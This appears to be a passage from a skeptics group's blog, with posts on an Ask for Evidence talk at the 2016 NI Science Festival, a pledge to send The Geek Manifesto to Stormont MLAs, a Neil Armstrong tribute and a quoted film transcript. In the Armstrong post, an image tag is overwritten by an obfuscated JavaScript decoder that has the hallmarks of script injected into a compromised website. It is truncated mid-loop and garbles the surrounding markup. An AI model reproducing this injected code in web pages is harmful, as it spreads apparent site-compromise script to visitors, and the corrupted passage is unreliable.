Event : Ask For Evidence at the NI Science Festival – 21st February 2016

Belfast Skeptics are pleased to be taking part in this years NI Science Fest again. This year we have a talk from sense about about science about the ask for evidence campaign.
Every day, we hear claims about what is good for our health, bad for the environment, how to improve education, cut crime, and treat disease. Some are based on reliable evidence and scientific rigour. Many are not.  These claims can't be regulated; every time one is debunked another pops up – like a game of whack-a-mole. So how can we make companies, politicians, commentators and official bodies accountable for the claims they make? If they want us to vote for them, believe them, or buy their products, then we should ask them for evidence, as consumers, patients, voters and citizens.
The Ask for Evidence campaign has seen people ask a retail chain for the evidence behind its MRSA resistant pyjamas; ask a juice bar for the evidence behind wheatgrass detox claims; ask the health department about rules for Viagra prescriptions; ask for the studies behind treatments for Crohn's disease, and hundreds more. As a result, claims are being withdrawn and bodies held to account.
This is geeks, working with the public, to park their tanks on the lawn of those who seek to influence us. And it's starting to work. Come and hear what the campaign is going to do next and how you can get involved.

Sunday 21st February 2016

Sunflower Bar - Belfast

Doors at 8:00pm

Tickets £3 - Available at the link below.



Geek Manifulster

The GeekManifulster Pledge reached its target! But there is still a lot of work to be done.

geek manifestoThe idea behind the pledge is to have a copy of the Geek Manifesto: Why Science Matters on the desk of each MLA in Stormont. 56 people have now pledged that they will send a copy to an MLA of their choice, though there are 108 MLAs in Stormont.

The book is written by Mark Henderson, Head of Communications at the Wellcome Trust, a global charitable foundation dedicated to achieving extraordinary improvements in human and animal health by supporting the brightest minds in biomedical research and the medical humanities, while the book sets an agenda for how science should be much more central than it is to government and the wider national conversation. Science and critical thinking should be at the forefront of government and political decisions — the current state of affairs is from from this, and no less so in Northern Ireland than the rest of the UK.

And so with this in mind, we have the "GeekManifulster", as coined by Shane McKee.

In Northern Ireland we have our Legislative Assembly with 108 elected Members (MLAs), largely elected along the lines of the traditional parties who have tussled and wrangled over Our Wee Country for the past 45 years (a time that has not always been happy). Political rhetoric in Northern Ireland is often based along religious faultlines, and people seem reluctant to toss that aside in favour of a more inclusive and evidence-based future.

The #GeekManifulster Pledge sets out to help change the culture in Stormont. We want to give each MLA a copy of the book, and let them know that science-minded people (whether they are actually scientists or not) form a major part of their constituency. If they want our votes, they need to show they are ready to take on the challenge.

Northern Ireland's economy was once built on Science, Technology, Engineering and Mathematics (STEM). We built ships, from the Titanic to the Canberra. We built planes, generators, turbines. We developed textiles that helped win World War II. Our scientists split atoms, unlocked the mysteries of thermodynamics, discovered quasars. We have nothing to be ashamed of, and science can help pull us out of this recession.

What to do now?

  1. If you haven't read The Geek Manifesto, do!
  2. Join the Geek Manifulster Facebook Group.
  3. Share with friends on Facebook, Twitter, email etc.
  4. Then pick which MLA you would like to send a copy to... (perhaps try to pick someone who you may not have voted for in the past, or whose views you might normally disagree with - go on - get out of your comfort zone!).
  5. You'll need to add your name beside an MLA on the spreadsheet.
  6. Start thinking of ways you might be able to enhance the profile of science in the public sphere

Science is vital, and science and reason have never been stronger within Northern Ireland.
Let's make this happen.

R.I.P. Neil Armstrong

Neil Armstrong, the first man to land on the Moon as commander of the Apollo 11 mission on July 20, 1969, died today aged 82 — and he did it with less computer power that is in most mobile phones today! He was a true hero. The very act of man reaching the moon was such a vital moment to the human race, as Phil Plait of Bad Astronomer put it "we can divide all of history into two parts: before humans landed on the Moon, and after. It was not just an important moment, it was the moment... The end of homo sapiens terrestrialis and the birth of homo sapiens cosmos."

The statement from his family reads:

"We are heartbroken to share the news that Neil Armstrong has passed away following complications resulting from cardiovascular procedures.
Neil was our loving husband, father, grandfather, brother and friend.

Neil Armstrong was also a reluctant American hero who always believed he was just doing his job. He served his Nation proudly, as a navy fighter pilot, test pilot, and astronaut. He also found success back home in his native Ohio in business and academia, and became a community leader in Cincinnati.

He remained an advocate of aviation and exploration throughout his life and never lost his boyhood wonder of these pursuits.

As much as Neil cherished his privacy, he always appreciated the expressions of good will from people around the world and from all walks of life.

While we mourn the loss of a very good man, we also celebrate his remarkable life and hope that it serves as an example to young people around the world to work hard to make their dreams come true, to be willing to explore and push the limits, and to selflessly serve a cause greater than themselves.

The very eloquently worded front page of The Onion on July 21 1969:

the onion front page moon l<script type=function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5anding" width="550/" height="960" />
Click for bigger

The achievements of Neil Armstrong, and the crew of the Apollo 11 mission were far-reaching and inspire us all. As a race we extended ourselves beyond our own planet. He brought the moon to our living rooms and made a dream a reality. Despite this, he remained down-to-earth and shied away from media attention. To Neil Armstrong, Thank you.

Martin Robbins in the Guardian says:

Nobody born since 1935 has stepped on another world. Neil Armstrong's death is a reminder that we have been screwing about for too long now - it's time to go to Mars. It may not be rational, but we didn't get where we are by being an entirely rational species – we did it by trying things, and failing pretty much most of the time. It's time for someone to step up and show us all that we still have that drive, that when we have the guts to unleash that curiosity - and the guts to fail - we can still achieve greatness. Neil Armstrong's death is wake-up call, a challenge to our generation. We can go to Mars, and it doesn't need a miracle: we just need to decide to go.

Science Saved My Soul

I stumbled across this beautiful short film by YouTube user “philhellenes” which puts the universe into perspective and describes it beautifully: so poetic. It isn't religious, but scientifically wonderful. Below is an excerpt:

"That night under the Milky Way, I who experienced it cannot call the experience a religious experience, for I know it was not religious in any way. I was thinking about facts and physics, trying to visualize what is, not what I would like there to be. There’s no word for such experiences that come through scientific and not mystical revelation. The reason for that is that every time someone has such a “mindgasm”, religion steals it simply by saying, “Ahh, you had a religious experience.” And spiritualists will pull the same shit. And both camps get angry when an atheist like me tells you that I only ever had these experiences after rejecting everything supernatural. But I do admit that after such experiences (the moments when reality hits me like a winning lottery ticket) I often think about religion… and how lucky I am that I am not religious. You want to learn something about God? Okay, this is one galaxy.

If God exists, God made this. Look at it. Face it. Accept it. Adjust to it, because this is the truth and it’s probably not going to change very much. This is how God works. God would probably want you to look at it. To learn about it. To try to understand it. But if you can’t look—if you won’t even try to understand—what does that say about your religion? As Bishop Lancelot Andrewes once said, “The nearer the church, the further from God.”

Maybe you need to run. Away from the mosque. Away from the church. Away from the priests and the Imams. Away from the Books to have any chance of finding God. Squeeze a fraction of a galaxy into your mind and then you’ll have a better idea of what you’re looking for. To even partially comprehend the scale of a single galaxy is to almost disappear. And when you remember all the other galaxies, you shrink 100 billion times smaller still—but then you remember what you are. The same facts that made you feel so insignificant also tell you how you got here. It’s like you become more real—or maybe the universe becomes more real. You suddenly fit. You suddenly belong. You do not have to bow down. You do not have to look away. In such moments, all you have to do is remember to keep breathing."

Full transcript available here.